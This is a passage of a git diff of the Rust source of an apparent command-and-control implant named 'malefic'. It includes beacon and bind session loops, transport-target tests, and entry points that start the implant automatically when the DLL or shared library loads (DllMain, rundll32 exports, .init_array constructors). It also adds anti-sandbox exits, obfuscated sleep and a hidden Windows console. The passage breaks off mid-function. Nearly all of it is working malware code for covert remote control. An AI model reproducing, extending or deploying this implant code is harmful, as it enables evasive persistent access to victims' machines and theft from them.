debug!("[beacon] Switched to next"); - } else { - debug!("[beacon] No server available"); + #[test] + fn targets_to_configs_rem() { + let targets = vec![modulepb::Target { + address: "rem://local".to_string(), + protocol: "rem".to_string(), + rem_config: Some(modulepb::TargetRemConfig { + link: "pipe_name".to_string(), + }), + ..Default::default() + }]; + let configs = ServerManager::targets_to_server_configs(&targets); + assert_eq!(configs.len(), 1); + assert_eq!(configs[0].protocol, ProtocolType::REM); + match &configs[0].transport_config { + TransportConfig::Rem(rem) => { + assert_eq!(rem.link, "pipe_name"); } + _ => panic!("expected Rem transport config"), } - } + } + + #[test] + fn targets_to_configs_tls_explicit_enable() { + let targets = vec![modulepb::Target { + address: "1.2.3.4:443".to_string(), + tls_config: Some(modulepb::TargetTlsConfig { + enable: true, + version: "1.3".to_string(), + sni: "test.com".to_string(), + skip_verify: false, + }), + ..Default::default() + }]; + let configs = ServerManager::targets_to_server_configs(&targets); + assert_eq!(configs.len(), 1); + let tls = configs[0] + .tls_config + .as_ref() + .expect("tls_config should be Some"); + assert!(tls.enable); + assert_eq!(tls.sni, "test.com"); + assert_eq!(tls.version, "1.3"); + assert!(!tls.skip_verification); + } + + #[test] + fn targets_to_configs_tls_none_defaults_disabled() { + let targets = vec![make_target("1.2.3.4:5001")]; + let configs = ServerManager::targets_to_server_configs(&targets); + assert_eq!(configs.len(), 1); + let tls = configs[0] + .tls_config + .as_ref() + .expect("tls_config should be Some"); + assert!( + !tls.enable, + "switch targets with no TLS config should default to disabled" + ); + assert!(tls.skip_verification); + } + + #[test] + fn targets_to_configs_filters_empty_address() { + let targets = vec![make_target(""), make_target("1.2.3.4:5001")]; + let configs = ServerManager::targets_to_server_configs(&targets); + assert_eq!(configs.len(), 1); + assert_eq!(configs[0].address, "1.2.3.4:5001"); + } + + #[test] + fn targets_to_configs_proxy() { + // With proxy + let targets = vec![modulepb::Target { + address: "1.2.3.4:5001".to_string(), + proxy_config: Some(modulepb::TargetProxyConfig { + r#type: "socks5".to_string(), + host: "proxy.com".to_string(), + port: 1080, + username: "u".to_string(), + password: "p".to_string(), + }), + ..Default::default() + }]; + let configs = ServerManager::targets_to_server_configs(&targets); + let proxy = configs[0] + .proxy_config + .as_ref() + .expect("proxy_config should be Some"); + assert_eq!(proxy.proxy_type, "socks5"); + assert_eq!(proxy.host, "proxy.com"); + assert_eq!(proxy.port, 1080); + assert_eq!(proxy.username, "u"); + assert_eq!(proxy.password, "p"); + + // With empty host → proxy_config is None + let targets_no_proxy = vec![modulepb::Target { + address: "1.2.3.4:5001".to_string(), + proxy_config: Some(modulepb::TargetProxyConfig { + r#type: "socks5".to_string(), + host: "".to_string(), + port: 1080, + username: "".to_string(), + password: "".to_string(), + }), + ..Default::default() + }]; + let configs2 = ServerManager::targets_to_server_configs(&targets_no_proxy); + assert!( + configs2[0].proxy_config.is_none(), + "empty proxy host should result in None" + ); + } + + #[test] + fn targets_to_configs_domain_suffix() { + // Non-empty domain_suffix + let targets = vec![modulepb::Target { + address: "1.2.3.4:5001".to_string(), + domain_suffix: "example.com".to_string(), + ..Default::default() + }]; + let configs = ServerManager::targets_to_server_configs(&targets); + assert_eq!(configs[0].domain_suffix.as_deref(), Some("example.com")); + + // Empty domain_suffix → None + let targets_empty = vec![make_target("1.2.3.4:5001")]; + let configs2 = ServerManager::targets_to_server_configs(&targets_empty); + assert!(configs2[0].domain_suffix.is_none()); + } } diff --git a/malefic/src/bind.rs b/malefic/src/bind.rs index 12fcf6b..e9990f0 100644 --- a/malefic/src/bind.rs +++ b/malefic/src/bind.rs @@ -1,80 +1,139 @@ -use malefic_core::config; -use malefic_core::transport::{Client, Transport, Listener, ListenerExt}; -use malefic_proto::crypto::new_cryptor; -use malefic_helper::debug; -use malefic_proto::marshal_one; -use crate::stub::{MaleficStub}; -use crate::malefic::MaleficChannel; +use malefic_common::debug; +use malefic_config as config; +use malefic_stub::channel::MaleficChannel; +use malefic_stub::stub::{build_connection, MaleficStub}; +use malefic_transport::{ConnectionRunner, Listener, ListenerExt}; + +use crate::session_loop::{enforce_guardrail, BindStrategy, SessionLoop}; pub struct MaleficBind { stub: MaleficStub, - listener: Listener, - client: Client, - initialize: bool, + listener: Listener, + initialized: bool, } impl MaleficBind { - pub async fn new(channel: MaleficChannel) -> Result> { - let stub = MaleficStub::new([0; 4], channel); - let addr = config::URLS.first().unwrap().clone(); + pub async fn new(channel: MaleficChannel) -> anyhow::Result { + // Get listening address from config + let addr = config::SERVER_CONFIGS + .first() + .ok_or_else(|| anyhow::anyhow!("No server configured for bind mode"))? + .address + .clone(); - // ä½¿ç”¨é™æ€ç±»åž‹çš„ Listener ç»‘å®šåœ°å€ - let listener = Listener::bind(addr.as_str()).await.map_err(|e| { - debug!("Failed to bind listener: {:#?}", e); - panic!("Failed to bind listener"); - }).unwrap(); + // Bind listening address + let listener = Listener::bind(addr.as_str()) + .await + .map_err(|e| { + debug!("Failed to bind listener: {:#?}", e); + panic!("Failed to bind listener"); + }) + .unwrap(); debug!("Listening on {}", addr); - let iv: Vec = config::KEY.to_vec().iter().rev().cloned().collect(); - let client = Client::new(new_cryptor(config::KEY.to_vec(), iv)) - .map_err(|e| { - debug!("[bind] Failed to initialize client: {}", e); - e - })?; + Ok(Self::new_with_listener( + MaleficStub::new([0; 4], channel), + listener, + )) + } - Ok(MaleficBind { - client, + pub fn new_with_listener(stub: MaleficStub, listener: Listener) -> Self { + MaleficBind { stub, listener, - initialize: false - }) - } - - pub async fn init(&mut self, transport: Transport) -> anyhow::Result<()> { - let init = self.client.read(transport.clone()).await?; - self.stub.meta.set_id(init.session_id); - let data = marshal_one(init.session_id, self.stub.register_spite(), self.stub.meta.get_encrypt_key())?; - self.client.stream.send(transport.clone(), data.pack()).await.map_err(|e| { - debug!("[bind] Failed to send data: {:#?}", e); - e - })?; - self.initialize = true; - debug!("Init success"); - let _ = transport.clone().close().await; - Ok(()) + initialized: false, + } } - + pub async fn run(&mut self) -> Result<(), ()> { loop { - match self.listener.accept().await { - Ok(transport) => { - let transport = Transport::new(transport); - if !self.initialize { - self.init(transport).await.map_err(|e| { - debug!("[bind] Failed to init: {:#?}", e); - })?; - }else{ - if let Err(e) = self.stub.process_data(transport, &mut self.client).await { - debug!("[bind] Error processing spite data: {:#?}", e); - continue; - } - } - } + match self.run_once().await { + Ok(()) => {} Err(e) => { - debug!("[bind] Failed to accept connection: {:#?}", e); + debug!("[bind] Runner error: {:?}, retrying accept...", e); + continue; } } } } + + pub async fn run_once(&mut self) -> anyhow::Result<()> { + enforce_guardrail(); + + let transport = self + .listener + .accept() + .await + .map_err(|e| anyhow::anyhow!("Failed to accept connection: {:#?}", e))?; + + let connection = build_connection( + transport, + self.stub.meta.get_uuid(), + self.stub.meta.get_encrypt_key(), + self.stub.meta.get_decrypt_key(), + ) + .map_err(|e| anyhow::anyhow!("Failed to build connection: {:#?}", e))?; + + let runner = self.init(connection).await?; + self.initialized = true; + self.run_session(runner).await + } + + pub async fn run_session(&mut self, mut runner: ConnectionRunner) -> anyhow::Result<()> { + let mut session_loop = SessionLoop::new(BindStrategy); + session_loop.run(&mut self.stub, &mut runner).await?; + Ok(()) + } + + /// Bind initialization: receive init request and send registration response + /// + /// Returns initialized ConnectionRunner (Heartbeat mode) + async fn init( + &mut self, + connection: malefic_transport::Connection, + ) -> anyhow::Result { + // Split connection to manually handle init flow + let (mut reader, mut writer) = connection.split(); + + // 1. Receive init request + let received_spites = reader + .receive() + .await + .map_err(|e| anyhow::anyhow!("Failed to receive init request: {:?}", e))?; + + debug!( + "[bind init] Received init request with {} spites", + received_spites.spites.len() + ); + + // 2. Process init + self.stub + .handler(received_spites) + .await + .map_err(|e| anyhow::anyhow!("Failed to handle init spites: {:?}", e))?; + + // 3. Prepare response + let response_spites = self + .stub + .prepare_spites() + .await + .map_err(|e| anyhow::anyhow!("Failed to prepare response: {:?}", e))?; + + // 4. Send response + writer + .send(response_spites) + .await + .map_err(|e| anyhow::anyhow!("Failed to send register response: {:?}", e))?; + + debug!( + "[bind init] Init success with session_id: {:?}", + self.stub.meta.get_uuid() + ); + + // 5. Create Heartbeat Runner (default mode) + let runner = ConnectionRunner::new_from_split(reader, writer); + + Ok(runner) + } } diff --git a/malefic/src/bootstrap.rs b/malefic/src/bootstrap.rs new file mode 100644 index 0000000..473cca5 --- /dev/null +++ b/malefic/src/bootstrap.rs @@ -0,0 +1,41 @@ +use futures::channel::mpsc; +use futures::try_join; + +use malefic_scheduler::collector::Collector; +use malefic_scheduler::Scheduler; +use malefic_stub::channel::MaleficChannel; + +pub async fn run(instance_id: [u8; 4]) { + malefic_common::block_on(8, 32, async move { run_internal(instance_id).await }); +} + +async fn run_internal(_instance_id: [u8; 4]) { + let (collector_response_sender, collector_response_receiver) = mpsc::unbounded(); + + let mut collector = Collector::new(collector_response_sender); + let mut scheduler = Scheduler::new(collector.get_data_sender()); + let channel = MaleficChannel { + data_sender: collector.get_data_sender(), + request_sender: collector.get_request_sender(), + response_receiver: collector_response_receiver, + scheduler_task_sender: scheduler.get_task_sender(), + scheduler_task_ctrl: scheduler.get_task_ctrl_sender(), + }; + + #[cfg(all(feature = "beacon", not(feature = "bind")))] + let mut client = match crate::beacon::MaleficBeacon::new(_instance_id, channel) { + Ok(c) => c, + Err(_) => return, + }; + + #[cfg(feature = "bind")] + let mut client = match crate::bind::MaleficBind::new(channel).await { + Ok(c) => c, + Err(_e) => { + malefic_common::debug!("[malefic] Failed to create bind client: {}", _e); + return; + } + }; + + let _ = try_join!(scheduler.run(), collector.run(), client.run()); +} diff --git a/malefic/src/lib.rs b/malefic/src/lib.rs index 4103361..055b40f 100644 --- a/malefic/src/lib.rs +++ b/malefic/src/lib.rs @@ -1,18 +1,91 @@ -mod malefic; -mod meta; -mod stub; -#[cfg(feature = "guardrail")] -mod guardrail; - #[cfg(feature = "beacon")] mod beacon; #[cfg(feature = "bind")] mod bind; +mod bootstrap; +mod session_loop; + +#[cfg(feature = "beacon")] +pub use beacon::MaleficBeacon; +#[cfg(feature = "bind")] +pub use bind::MaleficBind; + +pub use bootstrap::run; + +// ============================================================================ +// Platform entry points (cdylib / shared library only) +// ============================================================================ -use crate::malefic::Malefic; +fn spawn_malefic_runtime() { + static ONCE: std::sync::Once = std::sync::Once::new(); + ONCE.call_once(|| { + std::thread::spawn(|| { + use futures::executor::block_on; + let _ = block_on(async { run(malefic_proto::get_sid()).await }); + }); + }); +} + +/// Windows: entry callable via rundll32 +#[cfg(target_os = "windows")] +#[no_mangle] +pub extern "system" fn Run(_hwnd: isize, _hinst: isize, _cmdline: *const u8, _show: i32) { + spawn_malefic_runtime(); +} +/// Windows: blocking entry, keeps caller alive until run completes +#[cfg(target_os = "windows")] #[no_mangle] -pub extern "C" fn main() { +pub extern "system" fn RunBlocking(_hwnd: isize, _hinst: isize, _cmdline: *const u8, _show: i32) { use futures::executor::block_on; - let _ = block_on(async { Malefic::run(malefic_proto::get_sid()).await }); + let _ = block_on(async { run(malefic_proto::get_sid()).await }); } + +/// Windows: auto trigger via LoadLibrary (DllMain) +#[cfg(target_os = "windows")] +#[no_mangle] +pub extern "system" fn DllMain( + _hinst: usize, + reason: u32, + _reserved: *mut core::ffi::c_void, +) -> i32 { + const DLL_PROCESS_ATTACH: u32 = 1; + if reason == DLL_PROCESS_ATTACH { + spawn_malefic_runtime(); + } + 1 +} + +/// Linux: export `run` symbol for dlsym; constructor auto-spawns thread on dlopen +#[cfg(target_os = "linux")] +#[export_name = "run"] +pub extern "C" fn _lib_run_export() { + spawn_malefic_runtime(); +} + +#[cfg(target_os = "linux")] +extern "C" fn init_constructor() { + spawn_malefic_runtime(); +} + +#[cfg(target_os = "linux")] +#[used] +#[link_section = ".init_array"] +static INIT_ARRAY: extern "C" fn() = init_constructor; + +/// macOS: export `run` symbol for dlsym; constructor auto-spawns thread on dlopen +#[cfg(target_os = "macos")] +#[export_name = "run"] +pub extern "C" fn _lib_run_export() { + spawn_malefic_runtime(); +} + +#[cfg(target_os = "macos")] +extern "C" fn init_constructor() { + spawn_malefic_runtime(); +} + +#[cfg(target_os = "macos")] +#[used] +#[link_section = "__DATA,__mod_init_func"] +static INIT_ARRAY: extern "C" fn() = init_constructor; diff --git a/malefic/src/main.rs b/malefic/src/main.rs index 8a01f87..6c2f55e 100644 --- a/malefic/src/main.rs +++ b/malefic/src/main.rs @@ -1,38 +1,32 @@ -#![feature(stdsimd)] #![cfg_attr(not(debug_assertions), windows_subsystem = "windows")] -mod malefic; -mod meta; -mod stub; -#[cfg(feature = "guardrail")] -mod guardrail; #[cfg(feature = "beacon")] mod beacon; #[cfg(feature = "bind")] mod bind; +mod bootstrap; +mod session_loop; -use crate::malefic::Malefic; use futures::executor::block_on; fn main() { block_on(async { #[cfg(all(feature = "anti_sandbox", target_os = "windows"))] { - use malefic_helper::win::anti::{detect_sandbox, perform_computational_task}; + use malefic_evader::sandbox::{detect_sandbox, perform_computational_task}; use std::process::exit; let sandbox_result = detect_sandbox(); - if sandbox_result.is_sandbox { - // Execute time-consuming tasks to confuse analysis + if sandbox_result.is_sandbox { perform_computational_task(4294836225); exit(0); } } - - #[cfg(feature = "malefic-prelude")] - if let Err(_e) = malefic_prelude::run() { - malefic_helper::debug!("Failed to execute prelude: {}", _e); + + #[cfg(feature = "malefic-autorun")] + if let Err(_e) = malefic_autorun::run() { + malefic_common::debug!("Failed to execute autorun: {}", _e); } - Malefic::run(malefic_proto::get_sid()).await; + bootstrap::run(malefic_proto::get_sid()).await; }); } diff --git a/malefic/src/malefic.rs b/malefic/src/malefic.rs deleted file mode 100644 index 7420d33..0000000 --- a/malefic/src/malefic.rs +++ /dev/null @@ -1,75 +0,0 @@ -use cfg_if::cfg_if; -use futures::channel::mpsc::{self, UnboundedReceiver, UnboundedSender}; -use futures::try_join; - -use malefic_core::collector::Collector; -use malefic_core::scheduler::{Scheduler, TaskOperator}; -use malefic_proto::prelude::*; - -pub struct Malefic {} -pub struct MaleficChannel { - pub(crate) data_sender: UnboundedSender, - pub(crate) request_sender: UnboundedSender, - pub(crate) response_receiver: UnboundedReceiver, - pub(crate) scheduler_task_sender: UnboundedSender<(bool, u32, Box, Body)>, - pub(crate) scheduler_task_ctrl: UnboundedSender<(u32, TaskOperator)>, -} - -impl Malefic { - pub async fn run(instance_id: [u8; 4]) { - cfg_if! { - if #[cfg(feature = "runtime_tokio")] { - let runtime = tokio::runtime::Builder::new_multi_thread() - .worker_threads(128) - .max_blocking_threads(512) - .enable_all() - .build() - .unwrap(); - runtime.block_on(async move { - Self::run_internal(instance_id).await - }); - } else { - Self::run_internal(instance_id).await; - } - } - } - - async fn run_internal(instance_id: [u8; 4]) { - let (collector_response_sender, collector_response_receiver) = mpsc::unbounded(); - - let mut collector = Collector::new(collector_response_sender); - let mut scheduler = Scheduler::new(collector.get_data_sender()); - let channel = MaleficChannel { - data_sender: collector.get_data_sender(), - request_sender: collector.get_request_sender(), - response_receiver: collector_response_receiver, - scheduler_task_sender: scheduler.get_task_sender(), - scheduler_task_ctrl: scheduler.get_task_ctrl_sender(), - }; - - cfg_if!( - if #[cfg(feature = "beacon")] { - use crate::beacon::MaleficBeacon; - let mut client = match MaleficBeacon::new(instance_id, channel) { - Ok(client) => { - client - }, - Err(_) => { - return; - } - }; - }else if #[cfg(feature = "bind")] { - use crate::bind::MaleficBind; - let mut client = match MaleficBind::new(channel).await { - Ok(client) => client, - Err(e) => { - debug!("[malefic] Failed to create bind client: {}", e); - return; - } - }; - } - ); - - let _ = try_join!(scheduler.run(), collector.run(), client.run()); - } -} diff --git a/malefic/src/meta.rs b/malefic/src/meta.rs deleted file mode 100644 index 231c792..0000000 --- a/malefic/src/meta.rs +++ /dev/null @@ -1,105 +0,0 @@ -use obfstr::obfstr; -use malefic_core::config; -use malefic_core::config::{CRON, JITTER}; -use malefic_proto::scheduler::CronScheduler; -#[allow(dead_code)] -use malefic_helper::debug; - -pub struct MetaConfig { - uuid: [u8; 4], - pub scheduler: CronScheduler, // interval scheduler - pub urls: Vec, - #[cfg(feature = "secure")] - pub private_key: String, // private_key for implant,for decode server's data - #[cfg(feature = "secure")] - pub server_public_key: String, // public_key for server,encode data to server -} - -impl MetaConfig { - pub fn new(uuid: [u8; 4]) -> Self { - let scheduler = CronScheduler::new(&CRON, *JITTER) - .unwrap_or_else(|_| { - CronScheduler::new(&*obfstr!("*/5 * * * * * *").to_string(), *JITTER).unwrap() - }); - - MetaConfig { - uuid, - #[cfg(feature = "secure")] - private_key: malefic_core::config::AGE_PRIVATE_KEY.clone(), - #[cfg(feature = "secure")] - server_public_key: malefic_core::config::AGE_PUBLIC_KEY.clone(), - scheduler, - urls: config::SERVER_CONFIGS.iter().map(|cfg| cfg.address.clone()).collect(), - } - } - - pub fn set_id(&mut self, uuid: [u8; 4]) { - self.uuid = uuid; - } - - pub fn update_schedule(&mut self, expression: &str, jitter: f64) -> anyhow::Result<()> { - self.scheduler = CronScheduler::new(expression, jitter) - .map_err(|e| anyhow::anyhow!("Failed to create scheduler: {}", e))?; - Ok(()) - } - - pub fn update_urls(&mut self, urls: Vec) { - self.urls = urls; - } - - pub fn new_heartbeat(&self) -> u64 { - self.scheduler.next_interval() - } - - pub fn new_heartbeat_without_jitter(&self) -> u64 { - self.scheduler.next_interval() - } - - pub fn get_uuid(&self) -> [u8; 4] { - self.uuid - } - - pub fn is_active_now(&self) -> bool { - self.scheduler.is_active_now() - } - - #[allow(dead_code)] - pub fn get_schedule_expression(&self) -> String { - self.scheduler.expression() - } - - /// Get implant's private key for decrypting server data - #[allow(dead_code)] - pub fn get_decrypt_key(&self) -> Option<&str> { - #[cfg(feature = "secure")] - { - if self.private_key.is_empty() { - None - } else { - debug!("get decrypt key: {}", self.private_key); - Some(&self.private_key) - } - } - #[cfg(not(feature = "secure"))] - { - None - } - } - - /// Get server's public key for encrypting data to server - pub fn get_encrypt_key(&self) -> Option<&str> { - #[cfg(feature = "secure")] - { - if self.server_public_key.is_empty() { - None - } else { - Some(&self.server_public_key) - } - } - #[cfg(not(feature = "secure"))] - { - None - } - } - -} diff --git a/malefic/src/session_loop.rs b/malefic/src/session_loop.rs new file mode 100644 index 0000000..4853a5f --- /dev/null +++ b/malefic/src/session_loop.rs @@ -0,0 +1,792 @@ +use std::time::{Duration, Instant}; + +use async_trait::async_trait; +use futures_timer::Delay; +use malefic_common::debug; +use malefic_proto::proto::implantpb::{spite::Body, Spites}; +use malefic_stub::stub::MaleficStub; +use malefic_transport::{ConnectionRunner, TransportError}; + +const DUPLEX_IDLE_POLL_INTERVAL: Duration = Duration::from_millis(1); + +/// Typed session errors so callers can distinguish network failures from handler bugs. +#[derive(Debug, thiserror::Error)] +pub enum SessionError { + #[error("transport: {0}")] + Transport(#[from] TransportError), + #[error("handler: {0}")] + Handler(anyhow::Error), +} + +pub fn enforce_guardrail() { + #[cfg(feature = "guardrail")] + { + malefic_guardrail::Guardrail::check(malefic_sysinfo::get_sysinfo()); + } +} + +#[async_trait] +pub trait SessionIo { + async fn send(&mut self, spites: Spites) -> Result<(), TransportError>; + async fn receive(&mut self) -> Result, TransportError>; + fn try_receive(&mut self) -> Result, TransportError>; + fn upgrade(&mut self) -> Result<(), TransportError>; + async fn downgrade(&mut self) -> Result<(), TransportError>; +} + +#[async_trait] +impl SessionIo for ConnectionRunner { + async fn send(&mut self, spites: Spites) -> Result<(), TransportError> { + ConnectionRunner::send(self, spites).await + } + + async fn receive(&mut self) -> Result, TransportError> { + ConnectionRunner::receive(self).await + } + + fn try_receive(&mut self) -> Result, TransportError> { + ConnectionRunner::try_receive(self) + } + + fn upgrade(&mut self) -> Result<(), TransportError> { + ConnectionRunner::upgrade(self) + } + + async fn downgrade(&mut self) -> Result<(), TransportError> { + ConnectionRunner::downgrade(self).await + } +} + +#[async_trait] +pub trait SessionActor { + async fn prepare_request(&mut self) -> anyhow::Result; + async fn prepare_spites(&mut self) -> anyhow::Result; + async fn handle(&mut self, spites: Spites) -> anyhow::Result<()>; + fn reset_keepalive_state(&mut self); + fn keepalive_enabled(&self) -> bool; + fn contains_key_exchange_response(&self, spites: &Spites) -> bool; + fn mark_key_exchange_response_sent(&mut self); + fn should_reconnect_after_key_exchange(&mut self) -> bool; + fn should_reconnect_for_switch(&self) -> bool; + fn heartbeat_interval(&self) -> Duration; + fn create_ping(&self) -> Spites; +} + +#[async_trait] +impl SessionActor for MaleficStub { + async fn prepare_request(&mut self) -> anyhow::Result { + MaleficStub::prepare_request(self).await + } + + async fn prepare_spites(&mut self) -> anyhow::Result { + MaleficStub::prepare_spites(self).await + } + + async fn handle(&mut self, spites: Spites) -> anyhow::Result<()> { + MaleficStub::handler(self, spites).await + } + + fn reset_keepalive_state(&mut self) { + MaleficStub::reset_keepalive_state(self); + } + + fn keepalive_enabled(&self) -> bool { + self.keepalive_enabled + } + + fn contains_key_exchange_response(&self, spites: &Spites) -> bool { + MaleficStub::contains_key_exchange_response(spites) + } + + fn mark_key_exchange_response_sent(&mut self) { + #[cfg(feature = "secure")] + self.meta.mark_key_exchange_response_sent(); + } + + fn should_reconnect_after_key_exchange(&mut self) -> bool { + MaleficStub::should_reconnect_after_key_exchange(self) + } + + fn should_reconnect_for_switch(&self) -> bool { + MaleficStub::should_reconnect_for_switch(self) + } + + fn heartbeat_interval(&self) -> Duration { + Duration::from_millis(self.meta.new_heartbeat()) + } + + fn create_ping(&self) -> Spites { + MaleficStub::create_ping() + } +} + +#[async_trait] +pub trait SessionStrategy { + async fn heartbeat_iteration(&mut self, actor: &mut A, runner: &mut R) -> anyhow::Result<()>; + + async fn after_iteration(&mut self, _actor: &mut A) -> anyhow::Result<()> { + Ok(()) + } +} + +#[derive(Default)] +pub struct BeaconStrategy; + +#[async_trait] +impl SessionStrategy for BeaconStrategy +where + A: SessionActor + Send, + R: SessionIo + Send, +{ + async fn heartbeat_iteration(&mut self, actor: &mut A, runner: &mut R) -> anyhow::Result<()> { + let request = actor.prepare_request().await?; + send_actor_spites(actor, runner, request).await?; + + if let Some(response) = runner.receive().await? { + actor.handle(response).await?; + } + + Ok(()) + } + + async fn after_iteration(&mut self, actor: &mut A) -> anyhow::Result<()> { + let heartbeat_interval = actor.heartbeat_interval(); + #[cfg(all(target_os = "windows", feature = "sleep_obf"))] + { + use malefic_os_win::sleep::{obf_sleep_ms, ObfMode, Obfuscation}; + obf_sleep_ms( + core::ptr::null_mut(), + 0, + heartbeat_interval.as_millis() as u64, + Obfuscation::Timer, + ObfMode::Rwx | ObfMode::Heap, + ); + } + #[cfg(not(all(target_os = "windows", feature = "sleep_obf")))] + { + Delay::new(heartbeat_interval).await; + } + Ok(()) + } +} + +#[derive(Default)] +pub struct BindStrategy; + +#[async_trait] +impl SessionStrategy for BindStrategy +where + A: SessionActor + Send, + R: SessionIo + Send, +{ + async fn heartbeat_iteration(&mut self, actor: &mut A, runner: &mut R) -> anyhow::Result<()> { + if let Some(request) = runner.receive().await? { + actor.handle(request).await?; + let response = actor.prepare_request().await?; + send_actor_spites(actor, runner, response).await?; + } + + Ok(()) + } +} + +enum LoopControl { + Continue, + Reconnect, +} + +pub struct SessionLoop { + strategy: S, +} + +impl SessionLoop { + pub fn new(strategy: S) -> Self { + Self { strategy } + } +} + +impl SessionLoop { + pub async fn run(&mut self, actor: &mut A, runner: &mut R) -> Result<(), SessionError> + where + A: SessionActor + Send, + R: SessionIo + Send, + S: SessionStrategy + Send, + { + actor.reset_keepalive_state(); + + if actor.keepalive_enabled() + && matches!( + Self::run_keepalive_session(actor, runner) + .await + .map_err(classify_error)?, + LoopControl::Reconnect + ) + { + return Ok(()); + } + + loop { + self.strategy + .heartbeat_iteration(actor, runner) + .await + .map_err(classify_error)?; + + if actor.should_reconnect_after_key_exchange() { + return Ok(()); + } + + if actor.should_reconnect_for_switch() { + return Ok(()); + } + + if actor.keepalive_enabled() { + match Self::run_keepalive_session(actor, runner) + .await + .map_err(classify_error)? + { + LoopControl::Continue => {} + LoopControl::Reconnect => return Ok(()), + } + } + + self.strategy + .after_iteration(actor) + .await + .map_err(classify_error)?; + } + } + + async fn run_keepalive_session( + actor: &mut A, + runner: &mut R, + ) -> anyhow::Result + where + A: SessionActor + Send, + R: SessionIo + Send, + { + runner.upgrade()?; + let outcome = Self::run_duplex(actor, runner).await?; + runner.downgrade().await?; + Ok(outcome) + } + + async fn run_duplex(actor: &mut A, runner: &mut R) -> anyhow::Result + where + A: SessionActor + Send, + R: SessionIo + Send, + { + let interval = actor.heartbeat_interval(); + let mut last_heartbeat = Instant::now(); + + loop { + let mut had_activity = false; + + if let Some(request) = runner.try_receive()? { + actor.handle(request).await?; + had_activity = true; + } + + let spites = actor.prepare_spites().await?; + if !spites.spites.is_empty() { + send_actor_spites(actor, runner, spites).await?; + last_heartbeat = Instant::now(); + had_activity = true; + } else if last_heartbeat.elapsed() >= interval { + send_actor_spites(actor, runner, actor.create_ping()).await?; + last_heartbeat = Instant::now(); + } + + if actor.should_reconnect_after_key_exchange() { + return Ok(LoopControl::Reconnect); + } + + if actor.should_reconnect_for_switch() { + return Ok(LoopControl::Reconnect); + } + + if !actor.keepalive_enabled() { + return Ok(LoopControl::Continue); + } + + if !had_activity { + Delay::new(DUPLEX_IDLE_POLL_INTERVAL).await; + } + } + } +} + +/// Classify an `anyhow::Error` as transport or handler. +fn classify_error(e: anyhow::Error) -> SessionError { + match e.downcast::() { + Ok(te) => SessionError::Transport(te), + Err(other) => SessionError::Handler(other), + } +} + +async fn send_actor_spites( + actor: &mut A, + runner: &mut R, + spites: Spites, +) -> anyhow::Result<()> +where + A: SessionActor + Send, + R: SessionIo + Send, +{ + #[cfg(debug_assertions)] + if is_ping_only(&spites) { + debug!("[session] Sending ping"); + } + + let sent_key_exchange = actor.contains_key_exchange_response(&spites); + runner.send(spites).await?; + if sent_key_exchange { + actor.mark_key_exchange_response_sent(); + } + Ok(()) +} + +fn is_ping_only(spites: &Spites) -> bool { + matches!( + spites.spites.as_slice(), + [spite] if matches!(spite.body.as_ref(), Some(Body::Ping(_))) + ) +} + +#[cfg(test)] +mod tests { + use std::collections::VecDeque; + use std::time::Duration; + + use async_trait::async_trait; + use malefic_proto::proto::implantpb::spite::Body; + use malefic_proto::proto::implantpb::Spites; + use malefic_proto::proto::modulepb; + use malefic_proto::{new_empty_spite, new_spite}; + use malefic_transport::TransportError; + + use super::{BeaconStrategy, BindStrategy, SessionActor, SessionIo, SessionLoop}; + + #[derive(Default)] + struct FakeRunner { + log: Vec<&'static str>, + receive_queue: VecDeque>, + try_receive_queue: VecDeque>, + sent: Vec, + upgrade_count: usize, + downgrade_count: usize, + send_error: Option, + receive_error: Option, + upgrade_error: Option, + } + + #[async_trait] + impl SessionIo for FakeRunner { + async fn send(&mut self, spites: Spites) -> Result<(), TransportError> { + self.log.push("send"); + if let Some(err) = self.send_error.take() { + return Err(err); + } + self.sent.push(spites); + Ok(()) + } + + async fn receive(&mut self) -> Result, TransportError> { + self.log.push("receive"); + if let Some(err) = self.receive_error.take() { + return Err(err); + } + Ok(self.receive_queue.pop_front().flatten()) + } + + fn try_receive(&mut self) -> Result, TransportError> { + self.log.push("try_receive"); + Ok(self.try_receive_queue.pop_front().flatten()) + } + + fn upgrade(&mut self) -> Result<(), TransportError> { + self.log.push("upgrade"); + if let Some(err) = self.upgrade_error.take() { + return Err(err); + } + self.upgrade_count += 1; + Ok(()) + } + + async fn downgrade(&mut self) -> Result<(), TransportError> { + self.log.push("downgrade"); + self.downgrade_count += 1; + Ok(()) + } + } + + struct FakeActor { + keepalive_enabled: bool, + reset_count: usize, + handled: Vec, + prepare_request_queue: VecDeque, + prepare_spites_queue: VecDeque, + reconnect_on_handle_name: Option<&'static str>, + reconnect_on_mark: bool, + pending_reconnect: bool, + marked_key_exchange: usize, + heartbeat_interval: Duration, + pending_switch: bool, + } + + impl Default for FakeActor { + fn default() -> Self { + Self { + keepalive_enabled: false, + reset_count: 0, + handled: Vec::new(), + prepare_request_queue: VecDeque::new(), + prepare_spites_queue: VecDeque::new(), + reconnect_on_handle_name: None, + reconnect_on_mark: false, + pending_reconnect: false, + marked_key_exchange: 0, + heartbeat_interval: Duration::from_millis(0), + pending_switch: false, + } + } + } + + #[async_trait] + impl SessionActor for FakeActor { + async fn prepare_request(&mut self) -> anyhow::Result { + Ok(self + .prepare_request_queue + .pop_front() + .unwrap_or_else(|| empty_spites("noop_request"))) + } + + async fn prepare_spites(&mut self) -> anyhow::Result { + Ok(self + .prepare_spites_queue + .pop_front() + .unwrap_or_else(|| Spites { spites: vec![] })) + } + + async fn handle(&mut self, spites: Spites) -> anyhow::Result<()> { + for spite in spites.spites { + let name = spite.name.clone(); + if name == "keepalive" { + let enable = match spite.body.as_ref() { + Some(Body::Common(common)) => { + common.bool_array.first().copied().unwrap_or(false) + } + _ => false, + }; + self.keepalive_enabled = enable; + } + + if self + .reconnect_on_handle_name + .is_some_and(|target| target == name) + { + self.pending_reconnect = true; + } + + self.handled.push(name); + } + Ok(()) + } + + fn reset_keepalive_state(&mut self) { + self.reset_count += 1; + } + + fn keepalive_enabled(&self) -> bool { + self.keepalive_enabled + } + + fn contains_key_exchange_response(&self, spites: &Spites) -> bool { + spites + .spites + .iter() + .any(|spite| matches!(spite.body.as_ref(), Some(Body::KeyExchangeResponse(_)))) + } + + fn mark_key_exchange_response_sent(&mut self) { + self.marked_key_exchange += 1; + if self.reconnect_on_mark { + self.pending_reconnect = true; + } + } + + fn should_reconnect_after_key_exchange(&mut self) -> bool { + let reconnect = self.pending_reconnect; + self.pending_reconnect = false; + reconnect + } + + fn should_reconnect_for_switch(&self) -> bool { + self.pending_switch + } + + fn heartbeat_interval(&self) -> Duration { + self.heartbeat_interval + } + + fn create_ping(&self) 